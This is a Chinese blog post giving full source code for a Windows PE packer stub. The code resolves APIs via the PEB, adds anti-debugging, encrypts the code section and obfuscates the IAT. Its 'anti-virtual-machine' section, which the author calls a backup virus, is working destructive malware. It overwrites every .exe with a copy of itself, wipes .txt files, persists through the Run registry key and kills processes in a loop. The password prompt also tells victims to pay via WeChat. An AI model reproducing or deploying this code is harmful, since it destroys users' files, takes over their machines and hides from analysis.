加壳器第一部分:壳代码(个人编写,可能有些地方有错,望指正)

加壳器概述:

本加壳器针对的主要是PE文件,从PE文件的结构入手,对其区段进行增添,并将源程序的入口地址修改为新的(加壳的入口地址)地址。
此壳主要功能有:
1.在源程序基础上增加mfc窗口校验,若输入密码错误,则加壳后程序启动失败
2.增加了反虚拟机感应,若加壳程序运行环境为虚拟机,则启动后备病毒。
3.对源程序代码段进行加密处理,在加壳程序运行时必须经过壳中得解密代码段后,程序才能正常运行。

加壳器主要步骤

1.壳代码编写

1.1 函数初始化

由于壳代码运行在加载导入导出表之前,因此壳代码中的函数不能直接调用其他库中的标准函数。因此需要调用的函数必须通过自己的重写编写后(即找到各个库中自己所需函数地址,并将其地址重新进行调用即可)才能进行调用。
这里我们需要借助fs寄存器来寻找kernel32.dll的首地址。(注:fs:[0]地址存放的是TEB机构体,如下图)
参考书籍《加密与解密》
在这里插入图片描述
通过TEB结构体中的偏移找到PEB结构体,再通过PEB找到名为Ldr的结构体(下图为PEB结构体)
在这里插入图片描述
在经过如此以偏移寻找地址的方式,最终找到kernel32的基地址。其大图如下。
在这里插入图片描述
最后汇编代码如下:

	_asm {
		xor eax,eax      
		mov eax,fs:[0x30]        #获取PEB地址
		mov eax,[eax+0xC]        #获取PEB_LDR_DATA的结构体指针
		mov esi,[eax+0x1C]        #通过PEB_LDR_DATA获取到结构体成员:模块链表的头部地址
		mov eax,[esi]            #获取第一个加载的模块信息(根据环境的不同而不同)
		mov eax,[eax]            #获取第二个加载的模块信息(根据环境的不同而不同),我这里是kernel32.dll
		mov eax,[eax+0x8]         #获取kernel32.dll的模块基址
		mov kernelBase,eax        将基址保存到定义的变量进行接收
	}

找到其基地址后,利用PE文件结构特点,可以通过其地址寻找kernel32中的GetProcAdress函数地址,那么之后的需要的函数即可通过通过调用找到的GetProcAdress函数进行寻找。代码如下:(这里我将最后找到的函数名字进行了加密比较,为的就是对方在逆向时不能够清楚定义我需要寻找的函数是什么)


DWORD HashString(const char* arr)
{
	DWORD ret = 0;
	int i = 0;
	while (*arr)
	{
		ret += (*arr << (20 - i) | i);
		arr++;
		i++;
	}
	return ret;
}
inline DWORD FindProcAddress(const DWORD arr, DWORD dllBase)
{

	// 获取DOS头
	IMAGE_DOS_HEADER* DosHeader = (IMAGE_DOS_HEADER*)dllBase;
	// 获取NT头
	IMAGE_NT_HEADERS* NtHeader = (IMAGE_NT_HEADERS*)(DosHeader->e_lfanew + dllBase);
	// 获取扩展头
	IMAGE_OPTIONAL_HEADER OPHeader = NtHeader->OptionalHeader;
	// 获取导出表
	IMAGE_EXPORT_DIRECTORY* ExportList = (IMAGE_EXPORT_DIRECTORY*)(OPHeader.DataDirectory[0].VirtualAddress + dllBase);
	// 获取函数地址表
	DWORD* FuncAddList = (DWORD*)(ExportList->AddressOfFunctions + dllBase);
	// 获取函数名称表
	DWORD* NameAddList = (DWORD*)(ExportList->AddressOfNames + dllBase);
	// 获取函数序号表
	SHORT* OriList = (SHORT*)(ExportList->AddressOfNameOrdinals + dllBase);
	// 循环遍历,获取LoadLibrary函数地址以及GetProceAddress地址
	for (int i = 0; i < ExportList->NumberOfNames; i++)
	{
		// 获取GetProcAddress
		if (HashString((char*)(NameAddList[i] + dllBase)) == arr)
		{
			return ((FuncAddList[OriList[i]] + dllBase));
		}
	};
	typedef FARPROC(WINAPI* MyGetProcAddress)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
	MyGetProcAddress g_GetProcAddress = 0;
	g_GetProcAddress = (MyGetProcAddress)FindProcAddress(0xadefedb, kernelBase);
	
}

找到了GetProcAddress函数的地址后,即可通过该函数去寻找其他函数的地址并封装成自己的函数.下列代码只是一部分寻找的函数地址(太多了,不方便全部写进去)【最关键的还是LoadLibrary函数用于加载其他库并寻找其他库中的函数地址,还有VirtualProtect,用于修改页面属性(原本页面属性是不可修改的,要修改的话必须修改属性为可写才行)】

	g_LoadLibraryW = (MyLoadLibraryW)g_GetProcAddress((HMODULE)kernelBase, "LoadLibraryW");
	g_VirtualProtect = (MyVirtualProtect)g_GetProcAddress((HMODULE)kernelBase, "VirtualProtect");
	g_GetSystemTime = (MyGetSystemTime)g_GetProcAddress((HMODULE)kernelBase, "GetSystemTime");
	g_Sleep = (MySleep)g_GetProcAddress((HMODULE)kernelBase, "Sleep");
	userHandle = g_LoadLibraryW(L"user32.dll");
	ucrtbasedHandle = g_LoadLibraryW(L"ucrtbase.dll");
	VCRUNTIME140Handle = g_LoadLibraryW(L"VCRUNTIME140.dll");
	g_GetModuleHandle = (MyGetModuleHandle)g_GetProcAddress((HMODULE)kernelBase, "GetModuleHandleW");
	g_CreateWindowW = (MyCreateWindowW)g_GetProcAddress(userHandle, "CreateWindowExW");
	g_MessageBoxW = (MyMessageBoxW)g_GetProcAddress(userHandle, "MessageBoxW");
	g_MyGetDlgItem = (MyGetDlgItem)g_GetProcAddress(userHandle, "MyGetDlgItem");
	g_GetWindowTextW = (MyGetWindowTextW)g_GetProcAddress(userHandle, "GetWindowTextW");
	g_wcslen = (Mywcslen)g_GetProcAddress(ucrtbasedHandle, "wcslen");
	g_wcscmp = (Mywcscmp)g_GetProcAddress(ucrtbasedHandle, "wcscmp");
	g_DestroyWindow = (MyDestroyWindow)g_GetProcAddress(userHandle, "DestroyWindow");
	g_RegisterClassW = (MyRegisterClassW)g_GetProcAddress(userHandle, "RegisterClassW");
	g_ShowWindow = (MyShowWindow)g_GetProcAddress(userHandle, "ShowWindow");
	g_UpdateWindow = (MyUpdateWindow)g_GetProcAddress(userHandle, "UpdateWindow");
	g_GetMessageW = (MyGetMessageW)g_GetProcAddress(userHandle, "GetMessageW");

在寻找完所有需要的函数地址并重新封装后,就可以运用函数编写自己想要的壳的特定功能了。

1.2反调试

反调试我这里分了两部分,第一部分是调用了IsDebuggerPresent函数,该函数可以判断程序是否处于调试状态。这个反调试只是个幌子,由于原理比较简单,所以对方逆向时也能轻易看出来。

// 反调试幌子
//反调试
void Debugging() {
	//SeeTeb_F24();
	if (g_IsDebuggerPresent())
	{
		g_MessageBoxW(0, L"当前处于[被]调试状态", 0, 0);
		g_ExitProcess(0);
	}
}

第二部分主要是壳代码里的解密操作(由于加壳过程中,对源程序中的代码段部分代码进行了加密操作,所以壳代码中需要有解密操作才能使源程序正确运行)
解密部分我添加了部分花指令用于混淆对方逆向,解密操作主要如下,解密的思路为:记录当前的时间,并定时等待两秒,两秒后,以等待的两秒即2为间隔,对代码段进行解密操作(即每隔两个字节对下一个字节进行解密操作)【这里若对方处于调试状态,则等待时间大概率大于2秒导致解密失败,后续程序不能运行】,这里还涉及到解密用到的秘钥share_data.XorKey,秘钥是由加壳器中代码随机生成并传入壳代码中的。

// 用于异或解密加壳程序的代码段
void DeCodeText()
{
	SYSTEMTIME StartTime;
	g_GetSystemTime(&StartTime);
	Second = StartTime.wSecond;
	// 花指令
	_asm _emit(0xEB)_asm _emit(0x01)_asm _emit(0x84)_asm _emit(0x2E)
	_asm _emit(0x90)
	_asm _emit(0xEB)_asm _emit(0x06)_asm _emit(0x7E)_asm _emit(0xE8)
	_asm _emit(0x7D)_asm _emit(0x8D)_asm _emit(0x76)_asm _emit(0x40)_asm _emit(0x2E)
	_asm _emit(0x8B)_asm _emit(0xF6)_asm _emit(0x3B)_asm _emit(0xF7)
	auto TextBuffer = (BYTE*)(Dll_imageBase + share_data.XorStart);// share_data.XorStart
	DWORD OldProtect = 0;
	g_VirtualProtect(TextBuffer, share_data.XorAddr, PAGE_EXECUTE_READWRITE, &OldProtect);
	g_Sleep(2000);
	SYSTEMTIME EndTime;
	g_GetSystemTime(&EndTime);
	TimeDF = EndTime.wSecond - Second;
	// 循环修复代码段
	for (int i = 0; i < share_data.XorAddr; i += TimeDF)
	{
		TextBuffer[i] ^= share_data.XorKey;
	}
	g_VirtualProtect(TextBuffer, share_data.XorAddr, OldProtect, &OldProtect);
	return;
}
1.3 修复加壳程序的IAT(输入表)

由于加壳时对加壳程序的IAT进行了清除操作(即取消系统对IAT的操作权),因此在壳代码里应该存在修复IAT的代码。
在这里,我不仅修复了IAT,并且还将IAT中的函数地址进行了加密和封装,将IAT表中保存的原本函数地址改为shellcode的地址,(shellcode功能为:对加密后的IAT地址进行解密并跳转。这里的opcode可以先用c++代码写出来,再用od这类动态调试工具去查看汇编代码即可)代码如下:

// 填充IAT表并写入用于解密的ShellCode
void FixAndDecodeIAT()
{
	/*
	获取模块名
	加载模块
	获取IAT
	遍历IAT:
		申请内存空间用于保存自己的解密函数
		往内存空间填入自己的ShellCode
		修改IAT内存属性
		判断是否为序号还是名称
		是序号就通过序号找到函数地址
		是名称就通过名称找到函数地址
		取出函数地址后进行加密
		加密后填入准备好的ShellCode段相应的位置
		再将ShellCode的地址填入IAT
		恢复IAT内存属性
	*/
	// 获取导入表
	auto IPTable = (PIMAGE_IMPORT_DESCRIPTOR)(Dll_imageBase + share_data.IATRVA);
	// 循环遍历导入表并进行加密和修复,以每个module为一个小循环,遍历其中的函数
	while (IPTable->Name)
	{
		// 加载模块
		char* Name = (char*)(IPTable->Name + Dll_imageBase);
		HMODULE hModule = g_LoadLibraryExA(Name, NULL, NULL);
		// 通过IPTable->FirstThunk即输入地址表的rva找到输入地址表
		auto Iat = (int*)(IPTable->FirstThunk + Dll_imageBase);
		for (int i = 0; Iat[i] != 0; i++)
		{

			BYTE* DeCode = (BYTE*)g_VirtualAlloc(0, 0x50, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
			BYTE OpCode[] = { "\xE8\x01\x00\x00\x00\xE9\x58\xEB\x01\xE8\xB8"\
							  "\x65\x0C\xE0\x63"\
							  "\xEB\x01\x15\x35"\
							  "\x36\x36\x36\x36"\
							  "\xEB\x01\xFF\x50\xEB\x02\xFF\x15\xC3\x00\x00\x00" };
			DWORD OldProtect;
			g_VirtualProtect(&Iat[i], 0x50, PAGE_EXECUTE_READWRITE, &OldProtect);
			DWORD FuncAddr = 0;
			if ((Iat[i] & 0x80000000))
			{
				FuncAddr = (DWORD)g_GetProcAddress(hModule, (LPCSTR)(Iat[i] & 0xffff));
			}
			else
			{
				auto ImportByName = (PIMAGE_IMPORT_BY_NAME)(Iat[i] + Dll_imageBase);
				FuncAddr = (DWORD)g_GetProcAddress(hModule, ImportByName->Name);
			}
			// 对函数地址进行加密
			FuncAddr ^= 0x36363636;
			// 并将加密后的地址改入上面的shellcode中
			OpCode[11] = FuncAddr;
			OpCode[12] = FuncAddr >> 8;
			OpCode[13] = FuncAddr >> 0x10;
			OpCode[14] = FuncAddr >> 0x18;
			g_memcpy(DeCode, OpCode, sizeof(OpCode));
			Iat[i] = (DWORD)DeCode;
			g_VirtualProtect(&Iat[i], 0x50, OldProtect, &OldProtect);
		}
		IPTable++;
	}
}

1.4 修复加壳程序的重定位表

壳代码的重定位表在加壳器代码中就已经修复,但是加壳程序由于重新定义了OEP,因此需要对加壳程序的重定位表进行修复,由于这里需要用到dll的加载基址,则可以通过fs寄存器来获得。
代码如下

	_asm
	{
		mov eax, fs: [0x30]
		mov eax, [eax + 0x8]
		mov Dll_imageBase, eax
	}

找到基址后,就可以根据偏移找到重定位表进行修复了,具体代码如下:注意:修复前需要将修改地址属性进行更改(原属性为只读,因此不可修改,这里要用到virtualprotect进行属性更改,且更改完后必须还原),重定位思路为:用原本计算出来的重定位地址减去老的加载基址,再加上新的加载基址就是修正后的地址。

// 修复加壳程序的重定位
VOID FixFileReloc()
{
	auto Relocs = (PIMAGE_BASE_RELOCATION)(reloc_data.RelocRVA + Dll_imageBase);
	DWORD OldProtect = 0;
	while (Relocs->VirtualAddress)
	{
		DWORD OldProtect = 0;
		g_VirtualProtect((LPVOID)(Dll_imageBase + Relocs->VirtualAddress), 0x1000, PAGE_READWRITE, &OldProtect);
		TypeOffset* items = (TypeOffset*)(Relocs + 1);
		//遍历重定位项
		int count = (Relocs->SizeOfBlock - 8) / 2;
		for (int i = 0; i < count; ++i)
		{
			if (items[i].Type == 3)
			{
				DWORD Temp = 0;
				// 计算出每一个需要重定位的数据所在的地址
				DWORD* item = (DWORD*)(Dll_imageBase + Relocs->VirtualAddress + items[i].Offset);
				// 这里操作的是需要重定位的数据,通常是代码段(不可写),reloc_data.ImageBase:加壳程序的默认加载地址
				*item = *item + Dll_imageBase - reloc_data.ImageBase;
			}
		}
		g_VirtualProtect((LPVOID)(Dll_imageBase + Relocs->VirtualAddress), 0x1000, OldProtect, &OldProtect);
		// 下一个重定位块
		Relocs = (PIMAGE_BASE_RELOCATION)(Relocs->SizeOfBlock + (DWORD)Relocs);
	}
}
1.5 窗口以及窗口回调

这里定义弹框的函数只能自己编写而不能直接通windows现有的mfc进行调用,且需要用到API也必须通过寻找函数地址的方式并重新封装后调用。具体代码如下:

// 窗口类提供的回调函数,产生消息的窗口、消息类型、消息的附加参数
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	// 通过这个函数可以获取到当前应用程序的实例句柄,和 WinMain 中的是一样的
	hInstance1 = g_GetModuleHandle(NULL);

	switch (uMsg)
	{
		// 创建窗口的消息,通常执行初始化操作	
	case WM_CREATE:
		// 任何一个控件本质都是窗口,在创建控件的时候,必须需要指定 WS_CHILD 风格,
		//	默认控件是不显示的,所以还需要指定 WS_VISIBLE
		g_CreateWindowW(0, WC_BUTTON, L"提交", WS_CHILD | WS_VISIBLE,
			// 对于控件,不需要指定菜单,通过这个字段我们可以为控件设置 id,用于标识
			// 当前响应的是哪一个控件,id 必须是一个能够使用两字节表示的数据
			10, 100, 200, 50, hWnd, (HMENU)0x1001, hInstance1, 0);
		g_CreateWindowW(0, WC_EDIT, L"默认的文字信息", WS_CHILD | WS_VISIBLE | WS_BORDER | ES_MULTILINE,
			10, 10, 200, 50, hWnd, (HMENU)0x1005, hInstance1, 0);
		break;
		// 按下关闭按钮会响应的消息
	case WM_CLOSE:
		g_MessageBoxW(0, L"提示", L"关个毛", 0);
		// 对于任何一个窗口,如果想要关闭,就一定会调用销毁窗口
		g_DestroyWindow(hWnd);
		// 只有主窗口退出才需要关闭消息循环,所有的子窗口只需要销毁
		g_PostQuitMessage(0);
		CallFrame();
		break;

		// 相应标准控件的消息(按钮\编辑框等),wParam(控制码\id)lParam(句柄)
	case WM_COMMAND:
	{
		// 通过 wParam 的低位获取到当前是哪一个控件被响应了
		switch (LOWORD(wParam))
		{
			// 单击第一个按钮,实现将按钮移动至窗口内的其他位置
		case 0x1001:
		{
			// 1. 进行密码校验
			// 1. 查找指定对话框下的控件句柄
			hEdit = g_GetDlgItem(hWnd, 0x1005);
			// 2. 获取到目标控件上保存的内容
			g_GetWindowTextW(hEdit, Buffer, 0x100);		// 发送了 WM_GETTEXT 消息
			if (g_wcslen(Buffer) == 7)
			{
				if (g_wcscmp(Buffer, L"nihaoao") == 0)
				{
					g_MessageBoxW(0, L"提示", L"密码正确", 0);
					// 对于任何一个窗口,如果想要关闭,就一定会调用销毁窗口
					g_DestroyWindow(hWnd);
					// 只有主窗口退出才需要关闭消息循环,所有的子窗口只需要销毁
					g_PostQuitMessage(0);
				}
				else
				{
					g_MessageBoxW(0, L"提示", L"微信号55698转账50可以获取密码", 0);
					// 3. 重新设置编辑框的内容 = GetDlgItem + SetWindowText
					g_SetDlgItemTextW(hWnd, 0x1005, L"新的内容");
				}
			}
			else
			{
				g_MessageBoxW(0, L"提示", L"微信号55698转账50可以获取密码", 0);
				// 3. 重新设置编辑框的内容 = GetDlgItem + SetWindowText
				g_SetDlgItemTextW(hWnd, 0x1005, L"新的内容");
			}
			break;
		}
		}
		break;
	}
	}

	// 对于任何一个不想处理的消息,都应该发送给默认回调函数
	return g_DefWindowProc(hWnd, uMsg, wParam, lParam);
}
WNDCLASS WndClass = { 0 };
HINSTANCE hInstance;
HWND hWnd;
MSG msg = { 0 };
// 用于弹框进行密码校验
void CallFrame()
{
	// 1. 初始化窗口类并注册窗口类到系统中,窗口类名和回调函数是必须提供的,其
	//	它参数如果不想提供,就必须对结构体进行初始化,设置为 0
	WndClass.lpszClassName = L"myclass";
	WndClass.hbrBackground = (HBRUSH)DKGRAY_BRUSH;
	WndClass.lpfnWndProc = WndProc;
	g_RegisterClassW(&WndClass);
	hInstance = g_GetModuleHandle(NULL);
	// 2. 创建窗口并显示和更新窗口,实际发送了一个非队列的 WM_CREATE 消息,作
	//	为非队列消息,实际执行的操作是直接调用窗口绑定的窗口类指定的回调函数,
	//	入过没有指定回调函数,那么在这个位置会产生 C0000005 执行异常
	hWnd = g_CreateWindowW(0, L"myclass", L"操作窗口", WS_OVERLAPPEDWINDOW,
		CW_USEDEFAULT, 0, 0x100, 0x100, NULL, NULL, hInstance, 0);
	g_ShowWindow(hWnd, SW_SHOWNORMAL);
	g_UpdateWindow(hWnd);

	// 3. 消息循环: 从消息队列中获取到消息 + ? + 分发消息到对应的回调函数
	while (g_GetMessageW(&msg, NULL, 0, 0))
	{
		// 对于编辑框的输入,响应的消息是 WM_CHAR,但是这个消息默认是不会产生
		//	的,通过 TranslateMessage 函数可以根据生成的 WM_KEYDOWN\WM_KEYUP 
		//	合成一个新的对应的 WM_CHAR 消息,之后就能操作编辑框了
		g_TranslateMessage(&msg);
		g_DispatchMessageW(&msg);
	}

	return;
}
1.6 jump OEP

由于在壳代码运行完毕后,要使得原本的加壳程序也能顺利运行,因此,这里在运行完自己的壳代码后,需要跳转到原本加壳程序的OEP才行,汇编代码如下:(注:这里相关与加壳程序的数据结构,是由加壳器代码传递过来的)

_declspec(naked) VOID JmpOep()
{
	// 原始OEP等于保存至结构体中的OEP相对偏移加上加载基址
	// DWORD Dll_imageBase = 0;
	_asm
	{
		mov eax, Dll_imageBase
		add eax, share_data.OldOep
		jmp eax
	}
}
1.7 关于加壳程序部分地址数据结构的定义与传递

由于在壳代码中,我们无法直接获取加壳程序的相关数据(例如:加壳程序的原始OEP,重定位表的RVA等等),因此这里我们要定义相关数据结构,用于加壳器代码并进行传输:数据结构如下,注意这里加壳器需要调用的数据结构必须用extern"C"声明,用于防止名称粉碎导致加壳器代码无法找到数据结构。

// 定义结构体用于保存数据
typedef struct _SHARE_DATA
{
	ULONG_PTR OldOep;
	ULONG_PTR XorStart;
	SIZE_T XorAddr;
	BYTE XorKey;
	DWORD IATRVA;
	DWORD TlsVirtualAddress;
	DWORD TlsCallBackTableVa;
} SHARE_DATA, * PSHARE_DATA;
// 定义结构体用于保存压缩代码数据
typedef struct _PACK_DATA
{
	// 加壳程序代码段大小
	DWORD SizeOfRawData;
	// 加壳程序压缩后的大小
	DWORD FileCompressSize;
	// 代码段偏移
	DWORD TextRVA;
	// 判断是否进行压缩
	BOOL IfPack = FALSE;
}PACK_DATA, * PPACK_DATA;
// 定义结构体用于保存重定位数据
typedef struct _RELOC_DATA
{
	// RVA;重定位表的大小;加载基址
	DWORD RelocRVA;
	DWORD RelocSize;
	DWORD ImageBase;
	DWORD OldImageBase;
}RELOC_DATA, * PRELOC_DATA;
// 定义结构体用于保存重定位位段
typedef struct TypeOffset
{
	WORD Offset : 12;
	WORD Type : 4;
}TypeOffset, * PTypeOffset;
// 防止名称粉碎
extern"C"
{
	_declspec(dllexport) SHARE_DATA share_data;
	_declspec(dllexport) PACK_DATA pack_data;
	_declspec(dllexport) RELOC_DATA reloc_data;
}
1.8 修复TLS

TLS全称线程局部存储器,它用来保存变量或回调函数。一个程序如果有TLS会在程序运行之前就调用TLS里面的回调函数,由于我们运行的是加壳后的程序,原程序的代码段已经被加密,直接运行TLS肯定不行,我们需要手动处理TLS,在加壳程序中备份TLS以及TLS的回调函数数组,然后在壳代码中,程序解密后运行前,自己手动遍历TLS回调函数,手动循环调用一次,然后在恢复TLS。

// 调用TLS
void CallTls() {
	//如果存在TLS表
	if (share_data.TlsVirtualAddress)
	{
		PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)(Dll_imageBase);
		PIMAGE_NT_HEADERS NtHeader = (PIMAGE_NT_HEADERS)(DosHeader->e_lfanew + Dll_imageBase);
		DWORD OldProtect = 0;
		g_VirtualProtect(&(NtHeader->OptionalHeader.DataDirectory[9].VirtualAddress), 0x1000, PAGE_EXECUTE_READWRITE, &OldProtect);
		//恢复Tls数据
		NtHeader->OptionalHeader.DataDirectory[9].VirtualAddress = share_data.TlsVirtualAddress;
		g_VirtualProtect(&(NtHeader->OptionalHeader.DataDirectory[9].VirtualAddress), 0x1000, OldProtect, &OldProtect);
		auto TlsTable = (PIMAGE_TLS_DIRECTORY)(NtHeader->OptionalHeader.DataDirectory[9].VirtualAddress + Dll_imageBase);

		//手动调用TLS回调函数
		auto CallBackTable = (PIMAGE_TLS_CALLBACK*)(share_data.TlsCallBackTableVa - reloc_data.OldImageBase + Dll_imageBase);
		while (*CallBackTable)
		{
			(*CallBackTable)((PVOID)Dll_imageBase, DLL_PROCESS_ATTACH, NULL);
			(*CallBackTable)((PVOID)Dll_imageBase, DLL_THREAD_ATTACH, NULL);
			(*CallBackTable)((PVOID)Dll_imageBase, DLL_THREAD_DETACH, NULL);
			CallBackTable++;
		}
	}
}
1.9 扩展功能:反虚拟以及资源破坏

由于兴趣使然,我在壳代码中有增加了一个反虚拟的功能,我将反虚拟的exe以资源的方式放入壳代码中,在运行加壳程序时就会将反虚拟的exe以资源的方式释放至当前路径,并运行该进程。

// 释放资源,并创建进程启动资源
void FreeSource()
{
	// 获取指定模块里的资源
	HRSRC hRsrc = g_FindResourceW(NULL, L"6666", L"MYRES");
	// 获取资源大小
	DWORD dwSize = g_SizeofResource(NULL, hRsrc);
	// 将资源加载到内存中
	HGLOBAL hGlobal = g_LoadResource(NULL, hRsrc);
	// 锁定资源
	LPVOID lpVoid = g_LockResource(hGlobal);
	// 保存资源为文件
	FILE* fp = NULL;
	g_fopen_s(&fp, "AntiVirtual.exe", "wb+");
	// 写入文件
	g_fwrite(lpVoid, sizeof(char), dwSize, fp);
	g_fclose(fp);
}
void LaqiProcess()
{
	g_WinExec("AntiVirtual.exe", SW_HIDE);
}

反虚拟的功能是:(判断虚拟机的汇编代码,运用的是寄存器的一个字段进行判断,具体原理我也不是很懂,网上一大片判断虚拟机的我就借用了一个)
若判定环境为虚拟机环境,则对其进行一系列摧毁操作,先是拷贝一份副本exe到当前路径,其次对对当前路径下的一系列文件进行破坏,最后将副本exe添加至开机启动项实现虚拟机的开机即无限刷屏使其崩溃。代码如下:

// 判断是否存在虚拟机
DWORD fTestInVMWare()
{
	DWORD dwRet;
	__try
	{
		__asm
		{
			mov dwRet, 1
			push    edx
			push    ecx
			push    ebx
			mov     eax, 564D5868h
			mov     ebx, 0
			mov     ecx, 0Ah
			mov     edx, 5658h
			in      eax, dx
			cmp     ebx, 564D5868h
			setz    dwRet
			pop     ebx
			pop     ecx
			pop     edx
			//mov		dwRet ,1
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER)
	{
		dwRet = 0;
	}
	return dwRet;
}
// 结束进程
VOID EndProcess()
{
	HANDLE Handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (Handle != INVALID_HANDLE_VALUE)
	{
		int idex = 0;
		PROCESSENTRY32 Processentry = { sizeof(PROCESSENTRY32) };
		BOOL Success = Process32First(Handle, &Processentry);
		if (Success != FALSE)
		{
			do {
				// ProcessList.InsertItem(idex, Processentry.szExeFile);
				// 打开一个句柄用于查询信息,需要查询信息的权限
				HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,
					FALSE, Processentry.th32ProcessID);
				if (wcscmp(Processentry.szExeFile, L"AntiVirtual.exe") != 0)
				{
					TerminateProcess(ProcessHandle, -1);
				}
				CloseHandle(ProcessHandle);
				idex++;
			} while (Process32Next(Handle, &Processentry));
		}
	}
}
// 自我拷贝
BOOL SelfCopy()
{
	// 获取当前路径
	CHAR FileName[MAX_PATH];
	GetModuleFileNameA(NULL, FileName, MAX_PATH);
	if (CopyFileA(FileName, "My.exe", TRUE))
	{
		return TRUE;
	}
	return FALSE;
}
// 遍历文件进行替代
VOID DelFile(CStringA& PathString)
{
	// 拼接路径
	WIN32_FIND_DATAA FileInfo = { 0 };
	CStringA FindPath = PathString + L"\\*";
	HANDLE FindHandle = FindFirstFileA(FindPath, &FileInfo);
	// CString CreatTime;
	if (FindHandle != INVALID_HANDLE_VALUE)
	{
		int idex = 0;
		do {
			// 如果当前遍历到的是一个目录,那么就递归
			if (FileInfo.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				// 需要在遍历的路径中排除 . 和 .. 路径
				if (strcmp(FileInfo.cFileName, ".") && strcmp(FileInfo.cFileName, ".."))
				{
					/*
						保存一下文件路径
					*/
					CStringA FilePath = PathString + "\\" + FileInfo.cFileName;
					return DelFile(FilePath);
				}
			}
			/*
				如果不是目录的话,就输出文件夹的名字
			*/
			else
			{
				if (strcmp(PathFindExtensionA(FileInfo.cFileName), ".exe") == 0&&strcmp(FileInfo.cFileName,"AntiVirtual.exe")!=0)
				{
					/*
						保存一下文件路径
					*/
					CStringA FilePath = PathString + "\\" + FileInfo.cFileName;
					HANDLE hFile = CreateFileA(FilePath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
					DWORD RealSize = 0;
					HANDLE hFile1 = CreateFileA("My.exe", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
					DWORD FileSize = GetFileSize(hFile1, NULL);
					auto FileBase = malloc(FileSize);
					DWORD RelSize;
					ReadFile(hFile1, FileBase, FileSize, &RelSize, NULL);
					DWORD RelSize1;
					WriteFile(hFile, FileBase, FileSize, &RelSize1, NULL);
					CloseHandle(hFile);
					CloseHandle(hFile1);
				}
				else if (strcmp(PathFindExtensionA(FileInfo.cFileName), ".txt") == 0)
				{
					CStringA FilePath = PathString + L"\\" + FileInfo.cFileName;
					HANDLE hFile = CreateFileA(FilePath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
					SYSTEMTIME StartTime;
					GetSystemTime(&StartTime);
					CString Time;
					Time.Format(L"%d.%d", StartTime.wMonth, StartTime.wDay);
					DWORD RelSize;
					if (!WriteFile(hFile, Time, 0x10, &RelSize, NULL))
						MessageBox(0, 0, L"写入失败", 0);
					CloseHandle(hFile);
				}
				idex++;
			}
		} while (FindNextFileA(FindHandle, &FileInfo));// 如果文件遍历成功,就继续遍历下一个文件
		FindClose(FindHandle);
	}
}
// 注册表
// 添加注册表
BOOL Reg_CurrentUser(char* lpszFIleName, char* NameValue)
{
	// 默认权限
	HKEY hKey;
	// 打开注册表键
	if (ERROR_SUCCESS != ::RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))
	{
		printf("RegOpenKeyEx");
		system("pause");
		return FALSE;
	}
	// 修改注册表值,实现开机启动
	if (ERROR_SUCCESS != ::RegSetValueExA(hKey, NameValue, 0, REG_SZ, (BYTE*)lpszFIleName, (1 + ::lstrlenA(lpszFIleName))))
	{
		printf("RegSetKeyValueA");
		system("pause");
		return FALSE;
	}
	::RegCloseKey(hKey);
	return TRUE;
}
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
	while (1)
	{
		EndProcess();
		Sleep(2000);
	}
}
int main()
{
	// 检测虚拟机
	if (fTestInVMWare() == 1)
	{
		// 自我拷贝
		SelfCopy();
		CHAR FileName[MAX_PATH];
		GetModuleFileNameA(NULL, FileName, MAX_PATH);
		strrchr(FileName, '\\');
		*strrchr(FileName, '\\') = 0;
		CStringA FilePath;
		FilePath.Format("%s", FileName);
		// 修改文件内存
		DelFile(FilePath);
		char arr[] = { "安全个鬼" };
		strcat_s(FileName, "My.exe");
		// 添加注册表
		Reg_CurrentUser(FileName, arr);
		// 创建进程,结束进程,使其刷屏
		HANDLE hThread=CreateThread(NULL, 0, ThreadProc, 0, 0, 0);
		WaitForSingleObject(hThread, -1);
	}
	else
	{
		ExitProcess(-1);
	}
	return 0;
}
2.0 定义总览函数用于执行上述功能

这里的定义的函数地址即为加壳程序新的OEP地址,因此,该函数需要被加壳程序所查找,所以也需要使用extern"C"声明,并且使用裸函数防止系统对堆栈做了多余的操作。代码如下:

// 一个没有使用名称粉碎导出的裸函数
extern "C" _declspec(dllexport) _declspec(naked) void Start()
{
	// 初始化(找到相关函数地址以及相关基址等)
	InitCode();
	InitFunc();
	// 反调试
	Debugging();
	// 释放资源
	FreeSource();
	// 拉起反虚拟进程
	LaqiProcess();
	// 弹框
	CallFrame();
	// 解密代码
	DeCodeText();
	// 修复加壳程序的重定位
	FixFileReloc();
	// 加密IAT并申请空间进行解密
	FixAndDecodeIAT();
	// 修复TLS
	CallTls();
	// 跳转到加壳程序OEP
	JmpOep();
}  

总结

壳代码需要使用TEB结构体进行相关数据地址的查找,以及频繁的使用virtualProtect进行属性修改以及还原,特别是函数的封装相当麻烦,封装的函数参数需要与原本函数调用参数一致,返回值类型也需一致,这必须一个一个查找并重新定义。还有就是相关结构体的定义尤为复杂,以及地址转换方面,地址转换涉及到RVA转FOA,以及重定位修复时的地址修正。(很烧脑筋,建议不懂的时候参照加密与解密等书籍)。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:
